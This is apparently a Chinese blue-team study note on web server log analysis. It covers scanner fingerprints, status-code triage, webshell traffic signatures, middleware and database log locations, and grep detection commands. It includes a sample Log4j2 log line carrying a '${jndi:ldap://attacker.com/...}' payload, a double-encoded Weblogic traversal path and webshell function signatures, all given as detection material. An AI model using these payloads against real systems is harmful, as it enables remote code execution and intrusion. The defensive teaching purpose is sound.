护网必学日志分析
最近在准备护网面试但是看到csdn上面很多日志分析文章都收费当然也有不收费的方法但是直接看不是方便点我大概搜集一下共同的知识点目录整理一篇笔记供参考一、 协议基础HTTP 请求字段一个完整的 HTTP 请求头部包含以下常见的字段Request Line请求行包括请求方法、请求的资源路径和 HTTP 协议版本格式为METHOD URL HTTP/VERSION。例如GET /example HTTP/1.1Host指定目标服务器的主机名或 IP 地址。例如Host: www.example.comUser-AgentUA用户代理发送请求的用户代理信息用于描述客户端的软件应用程序、操作系统等。例如User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...Accept指定客户端可以接受的响应内容类型使用 MIME 类型。例如Accept: text/html, application/jsonAccept-Language指定客户端可以接受的语言类型。Accept-Encoding指定客户端可以接受的内容编码方式用于压缩传输的数据如gzip, deflate。Connection指定是否需要持久连接keep-alive。Referer指定当前请求的来源页面的 URL用于跟踪链接来源。在防盗链绕过、CSRF 攻击分析中是核心审计字段。Content-Type指定请求体的媒体类型如application/x-www-form-urlencoded或application/json。许多反序列化与文件上传漏洞的 Payload 会直接隐藏在此处。Content-Length指定请求体的长度字节数。二、 步骤一基于字符串特征的攻击工具识别在初筛阶段通过已知的工具指纹特征字符串进行快速检索可以瞬间识别出大量的自动化攻击行为。如果在日志中尤其是User-Agent或URL 参数发现下列字符串特征可以直接确认为对应的攻击工具1. AWVS 扫描器Acunetix Web Vulnerability Scanner特征字符串acunetix_wvs_security_test或acunetix表现形式通常出现在 URL 参数、Cookie 或自定义请求头中用于探测漏洞的存在性。2. Appscan 扫描器特征字符串Appscan表现形式多见于 User-Agent 或特定的测试路径参数中。3. sqlmap自动化注入工具特征字符串sqlmap表现形式在默认未修改的情况下其 User-Agent 中会包含sqlmap/X.X#stable。此外URL 中常伴随有boolean-based blind布尔盲注、UNION ALL SELECT等高频测序语句。4. curl命令行工具特征字符串curl表现形式User-Agent 中发现字符串curlLinux 环境中用的多。常用于红队手工验证漏洞连通性或作为命令执行后下载恶意脚本如一键木马下载的客户端指纹。三、 研判核心HTTP 状态码的实战判定2xx 成功高危审计区200 OK请求成功。若请求行中包含whoami、select、../等恶意攻击特征且返回 200说明攻击大概率成功或产生了回显属于一类高危事件必须立刻人工复现。3xx 重定向业务流追踪302 Found/301 Moved Permanently临时/永久重定向。在暴力破解分析中如果大量 200登录失败提示页后突然出现一个 302跳转至后台 index 页面通常意味着密码已被成功爆破。4xx 客户端错误探测与拦截判定403 Forbidden服务器拒绝请求。通常表明攻击 Payload 被安全设备WAF或中间件自带的权限策略成功拦截。404 Not Found资源未找到。攻击者在进行敏感目录爆破如盲猜/.git/、/config.bak时会产生铺天盖地的 404 日志。5xx 服务器错误代码层崩溃500 Internal Server Error服务器内部错误。在 SQL 注入尤其是报错注入或 Java 反序列化攻击中畸形的输入经常导致后端解析器崩溃从而触发 500 错误。不能盲目认为 500 就是失败部分盲注和命令执行同样会触发 500。四、 攻击行为谱系分析1. 漏洞扫描扫描器如 AWVS、Appscan的字典基数极大进行盲扫时绝大多数目标路径不存在行为特征来源地址相对固定短时间内请求量暴增、且 404/403 占比高达 90% 以上2. 暴力破解字典碰撞研判技巧密切观察响应体的长度Content-Length。如果数千条高频 POST 请求响应长度完全一致-应长度突变如 342 字节或直接 302 跳转说明该条请求已爆破成功。3. Webshell大马/后门脚本什么是大马功能极全的单文件后门具备文件管理、执行系统命令、执行数据库操作等完整权限。行为特征访问频率孤立且低频人为控制访问频次极低页面孤立性:该脚本文件如system.jsp、index_backup.php不存在任何正常页面链接指向它。GET 或 POST参数及特征码外露大马交互传递执行命令常见木马指纹提取传统大马恶意函数调用如eval(base64_decode、shell_exec、assert等。冰蝎Behinderv3.0 阶段经典的传输特征是密钥协商阶段旧版本中其 Accept 字段具有非常独特的固定格式h和权重如text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8。流量侧全密文传输但在日志层表现为对同一个孤立文件如shell.jsp持续发起相同长度的 POST 请求。哥斯拉GodzillaCookie 字段最后经常带有一个分号;其生成的响应体长度具有固定的特征比例。五、 资产视角常见中间件及日志审计1. Tomcat日志默认路径$TOMCAT_HOME/logs/重点审计对象localhost_access_log.YYYY-MM-DD.txt标准访问日志记录 IP、时间、请求行、状态码、发送字节数。catalina.out标准系统输出日志。当系统遭遇Java 反序列化攻击或Structs2 漏洞时此日志会暴露出大量的Java 报错堆栈信息如java.io.ObjectInputStream是排查代码层失陷的重要依据。2. Weblogic日志默认路径$DOMAIN_HOME/servers/$SERVER_NAME/logs/重点审计对象access.log常规 Web 访问日志。核心安全关注点Weblogic 默认开放 7001 端口。红队经常利用T3 协议或IIOP 协议发行反序列化攻击如 CVE-2020-14882 后台任意命令执行。这类非HTTP 的流量需要结合主机的系统日志或网络全流量设备天眼等进行辅助审计。3. Nginx日志默认路径/var/log/nginx/或/usr/local/nginx/logs/重点审计对象access.log访问日志。可通过修改nginx.conf里的log_format字段强制让其记录$http_x_forwarded_for真实源 IP和$request_bodyPOST 请求体但通常出于性能考虑默认关闭。error.log错误日志用于排查畸形请求或缓冲区溢出攻击。4. Apache日志默认路径/var/log/apache2/(Linux) 或$APACHE_HOME/logs/(Windows)重点审计对象access.log与error.log。其日志格式多采用标准 CLF通用日志格式。5. IIS (Internet Information Services)日志默认路径C:\inetpub\logs\LogFiles\W3SVC1\防守方避坑指南IIS 日志默认采用W3C 扩展日志格式其记录的时间是UTC 时间格林威治标准时间。在护网现场进行时间线溯源时必须将 IIS 日志中的时间手动加上 8 小时。六、 数据层视角三大主流数据库日志分析。1. MySQL查询日志 (General Log)默认关闭因其极度消耗系统性能。若开启将记录所有连接SQL 语句。如果开有此日志可精准锁定红队拿走了哪些数据。错误日志 (Error Log)默认开启记录数据库启动、运行、停止过程中的异常。红队尝试利用udf.dll提权导致进程崩溃时此处会有报错留存。2. SQL Server (MSSQL)审计方式 Windows事件查看器中的“应用程序日志”或 MSSQL 自身的“错误日志”。重点关注特征重点审查是否有高危存储过程被激活并调用的记录尤其是xp_cmdshell该存储过程可以直接通过 SQL 语句调用 Windows 系统的 cmd 执行命令是 MSSQL 提权的标志。3. Oracle审计日志 (Audit Trail)通过配置AUDIT命令将安全事件记录在系统表SYS.AUD$中或直接写入操作系统的.aud文件。重点关注特征大厂核心数据常部署于 Oracle。应重点审计对DBA_USERS敏感用户表的变动以及频繁利用SYS高级权限执行非常规数据泵导出Exp/Imp行为。七、 实战演练常见中间件漏洞的日志“弹孔”1. Apache Log4j2 远程命令执行漏洞CVE-2021-44228日志特征在访问日志的任何可输入字段最常见于 User-Agent、URL 参数、X-Forwarded-For中包含字符串${jndi:ldap://或${jndi:rmi://。真实日志示例Plaintext192.168.1.100 - - [07/Jun/2026:21:00:01 0800] GET /index.php HTTP/1.1 200 4522 ${jndi:ldap://attacker.com/vps} Mozilla/5.0...2. Struts2 远程代码执行漏洞如 S2-045日志特征攻击者利用 OGNL 表达式引发注入。恶意 Payload 会隐藏在 HTTP 请求的Content-Type字段中内部包含大段以#ognl、multipart/form-data、java.lang.ProcessBuilder构成的 Java 链式调用代码。3. Weblogic 任意文件上传/未授权命令执行日志特征在访问日志中会出现针对特殊业务路径的未授权连续请求。例如针对/console/css/%252e%252e%252f利用二次 URL 编码绕过权限验证的请求且紧随其后出现对未知 JSP 文件如/bea_wls_internal/shell.jsp的POST 200请求。八、 步骤三特征检验、分类线索与扩线分析1. 全局关联分析四步走[源IP聚合] --- [时间线回溯] --- [状态研判(定性)] --- [网络拓扑横向拓网]1.锁定源 IP进行全量聚合过滤单一源。当发现某个 IP如 47.X.X.X触发了 sqlmap 拦截日志后立即在全局日志中过滤该 IP 的所有访问记录。2.时间线回溯还原攻击剧本行为排序。按时间先后顺序Timeline排列该 IP 的动作• 20:00:00 - 大量 404进行敏感目录扫描。• 20:15:00 - 出现大量针对/index.php?id的复杂 SQL 盲注语句sqlmap 特征状态码为 200。• 20:20:00 - 出现对/upload.php的 POST 请求状态码 200。3.检验攻击结果进行定性分析失陷判定。重点排查 20:20:00 文件上传后的行为。如果在 20:21:00 日志显示该 IP 开始访问/uploads/1.php且返回了 200并且后续该路径下伴随着持续的、低频的 POST 交互。【结论】系统已被成功打入 Webshell彻底失陷触发高危预警。4.网络拓扑横向拓网扩线追击同源拓扑扩散。同 IP 拓网检查该恶意 IP 是否还对内网/DMZ 区的其他相邻服务器发起过连接。同特征威胁情报拓网若红队中途更换了代理 IP但其自定义的 User-Agent 或者是大马特有的请求体长度没有发生改变可以通过这些“不变量特征”作为关键词在日志中全局检索揪出红队潜伏的其他跳板 IP。九、 蓝队兵器谱常见日志分析工具1. 文本利器EmEditor支持打开多达数 GB 的超大文本文件其内存优化极佳具备极其强大的正则表达式查找和高亮功能。Notepad / VS Code适合查看中小体量的中间件配置日志。2. 离线自动化分析小工具360星图 (LogAnalyzer)经典的离线日志自动化分析脚本。导入 Nginx/Apache 的access.log即可全自动跑出一份漂亮的 HTML 报告自动分类出 SQL 注入、XSS、海外 IP、恶意扫描的 Top 排行。3. Linux 命令行三剑客应急响应最高效武器在 Linux 服务器一线现场grep、awk、sort是最快速的分析法。实战命令示例快速统计访问量前 10 名的 IP极速定位扫描器或爆破源Bashcat access.log | awk {print $1} | sort | uniq -c | sort -rn | head -n 10实战命令示例在日志中快速检索是否存在 Log4j2 攻击Bashgrep -Ei jndi:(ldap|rmi|http) access.log4. 体系化全局作战系统 (SIEM)ELK Stack (Elasticsearch Logstash Kibana)通过 Logstash 实时全量解析服务器、WAF、防火墙日志打入 Elasticsearch 建立索引最后在 Kibana 大屏上通过强大的 Lucene 语法进行多维度的图表化关联审计是大厂蓝队作战指挥部的标配。